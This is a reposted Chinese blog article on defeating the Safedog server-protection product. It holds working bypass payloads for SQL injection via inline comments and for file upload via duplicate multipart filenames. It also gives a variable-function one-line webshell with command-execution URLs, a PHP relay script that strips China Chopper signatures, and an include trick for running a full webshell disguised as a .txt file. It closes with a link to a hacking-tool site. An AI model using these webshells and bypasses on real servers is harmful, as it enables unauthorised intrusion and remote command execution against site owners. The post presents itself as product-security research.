您的位置：首页 > 运维架构 > 网站架构

网站入侵检测之全方位突破安全狗

2015-05-03 19:02 489 查看

一、前言

安全狗是一款大家熟悉的服务器安全加固产品，据称已经拥有50W的用户量。

最近经过一些研究，发现安全狗的一些防护功能，例如SQL注入、文件上传、防webshell等都可以被绕过，下面为大家一一介绍。

二、测试环境

本次测试环境为

中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72

网站安全狗IIS版3.2.08417

三、SQL注入绕过

我们先写一个存在SQL注入漏洞的php：

1

2

3

4

5

6

7

8

9

10

11

12

13

<?

$uid
=
$_REQUEST['id'];

if(!$conn
=
@mysql_connect("localhost",
"root",
"123456"))

die('<font
size=+1>An Error Occured</font><hr>unable to connect to the database.');

if(!@mysql_select_db("supe",$conn))

die("<font
size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");

$text
=
"select * from supe_members where uid=".$uid;

$rs
=
mysql_query
($text,$conn);

while($rom
=
mysql_fetch_array($rs))

{

echo
$rom["username"];

}

?>

我用的是supesite的库，可以看到这里是有明显SQL注入漏洞的，当没有安全狗的时候可以成功注入：

当安装安全狗之后，注入语句会被拦截：

经过测试发现，安全狗这块的匹配正则应该是\s+and这类的，所以只要想办法去掉空格，用普通注释/**/是不行的，安全狗也防了这块。

但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。

用下面语句成功绕过SQL注入过滤：

1	http://192.168.200.115/inj.php?id=1/!and/1=2/!union//!select/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17

有人说只有POST才可以，但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。

四、文件上传绕过

安全狗的防上传也是做在WEB层，即分析HTTP协议来防止上传，按照yuange说的安全是一个条件语句，这显然是不符合安全规范的，只检查HTTP并不能保证文件系统层上的问题。

假设有一个上传功能的php：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

<?php

if
($_FILES["file"]["error"]
>
0)

{

echo
"Return Code: "
.
$_FILES["file"]["error"]
.
"<br />";

}

else

{

echo
"Upload: "
.
$_FILES["file"]["name"]
.
"<br />";

echo
"Type: "
.
$_FILES["file"]["type"]
.
"<br />";

echo
"Size: "
.
($_FILES["file"]["size"]
/
1024)
.
" Kb<br />";

echo
"Temp file: "
.
$_FILES["file"]["tmp_name"]
.
"<br />";

if
(file_exists("upload/"
.
$_FILES["file"]["name"]))

{

echo
$_FILES["file"]["name"]
.
" already exists. ";

}

else

{

move_uploaded_file($_FILES["file"]["tmp_name"],

"upload/"
.
$_FILES["file"]["name"]);

echo
"Stored in: "
.
"upload/"
.
$_FILES["file"]["name"];

}

}

?>

<html>

<body>

<form
action="upload.php"
method="post"

enctype="multipart/form-data">

<label
for="file">Filename:</label>

<input
type="file"
name="file"
id="file"
/>

<br
/>

<input
type="submit"
name="submit"
value="Submit"
/>

</form>

</body>

</html>

然后在安全狗里设置禁止上传.php文件：

然后通过浏览器上传php会被拦截：

我们通过burp把上传的HTTP包抓下来，然后自己进行一下修改POST数据。

了一些实验，直接说结果吧，当增加一处文件名和内容，让两个文件名不一致的时候，成功绕过了安全狗的防护，上传了php文件。

因为安全狗进行文件名匹配时候用的是第一个文件名test.jpg，是复合安全要求的，但是webserver在保存文件的时候却保存了第二个文件名test.php，也就是if(security_check(a)){do(b);}，导致安全检查没有用，php文件已经成功上传了：

这样的的上传数据可能是不符合RFC规范的，但是却达到了绕过拦截的目的。结论是每种安全检查一定要在对应的层次做检查，而不能想当然的在WEB层做系统层该做的事情。

五、一句话webshell绕过

对于攻击者来说，安全狗很烦人的一点就是传上去的webshell却不能执行。我们就来看看怎么绕过安全狗对一句话webshell的拦截。

首先要知道安全狗防webshell仍然是依靠文件特征+HTTP来判断，但webshell真正执行是在脚本层，检查的层次不对当然也是可以轻易绕过去的。

因为php里面函数名都可以是变量，文件里哪还有特征啊，上传如下php：

1

2

3

<?php

$_REQUEST['a']($_REQUEST['xiaocan']);

?>

然后在浏览器里执行：

1	http://192.168.200.115/small.php?a=system&b=dir

成功执行了系统命令，当然也可以执行php代码：

1	http://192.168.200.115/small.php?a=assert&b=phpinfo();

六、菜刀绕过

测试发现这种一句话虽然可以成功执行，但是在菜刀里却不能用，而有些人非觉得这样的一句话麻烦，非要用菜刀。

经分析安全狗对菜刀的HTTP请求做了拦截，菜刀的POST数据里面对eval数据做了base64编码，安全狗也就依靠对这些特征来拦截，因此要想正常使用菜刀，必须在本地做一个转发，先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。

首先在本地搭建WEB SERVER，然后写一个php转发程序：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

<?php

$target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地址

$poststr='';

$i=0;

foreach($_POST
as
$k=>$v)

{

if(strstr($v,
"base64_decode"))

{

$v=str_replace("base64_decode(","",$v);

$v=str_replace("))",")",$v);

}

else

{

if($k==="z0")

$v=base64_decode($v);

}

$pp=$k."=".urlencode($v);

//echo($pp);

if($i!=0)

{

$poststr=$poststr."&".$pp;

}

else

{

$poststr=$pp;

}

$i=$i+1;

}

$ch
=
curl_init();

$curl_url
=
$target."?".$_SERVER['QUERY_STRING'];

curl_setopt($ch,
CURLOPT_URL,
$curl_url);

curl_setopt($ch,
CURLOPT_POST,
1);

curl_setopt($ch,
CURLOPT_POSTFIELDS,
$poststr);

curl_setopt($ch,
CURLOPT_RETURNTRANSFER,
1);

$result
=
curl_exec($ch);

curl_close($ch);

echo
$result;

?>

意思就是在本地先对eval数据进行base64解码，然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:

这样就可以使用菜刀来连接前面那个一句话马了:

这样就能用菜刀了，不过大家真的没必要执着于菜刀，向大家推荐一款菜刀工具： http://www.exehack.net/576.html

七、webshell大马绕过

一句话功能毕竟有限，想用大马怎么办？仍然是传统的include大法，传一个big.php内容如下：

1

2

3

<?php

include('exehack.txt');

?>

然后再把大马修改名为exehack.txt然后上传到目标网站目录下，然后在访问big.php这样就成功绕过安全狗的拦截执行了webshell

PS：这里是已php大马为例子,如果是asp aspx 或者jsp的脚本语音网站就把后缀修改为相应的即可！

这样大马也顺利执行了。

八、结束语

上面从SQL注入、上传、webshell等几个方面绕过了安全狗的保护，有些绕过方法安全狗可能早就知道了，但是为什么一直没有补？很可能的原因是怕过滤太严格影响某些应用，在安全和通用性之间做取舍我认为是可以理解的，但是我觉得这也正是安全研究人员存在的价值所在。

这里发几句题外的牢骚，很多安全公司其实是当作软件公司来做的，做安全软件就是去做开发，而忽视了安全研究的价值。普通的防护方法原理很简单，但想要不影响应用又保证安全其实很难，如果没有对漏洞和攻击有深入理解的研究人员，安全产品是没法更上一层楼的。

希望各个安全公司不要太功利，对研究人员多一些重视，安全公司真的不能仅仅等同于软件公司啊！

内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理

标签：

相关文章推荐

新的分享

章节导航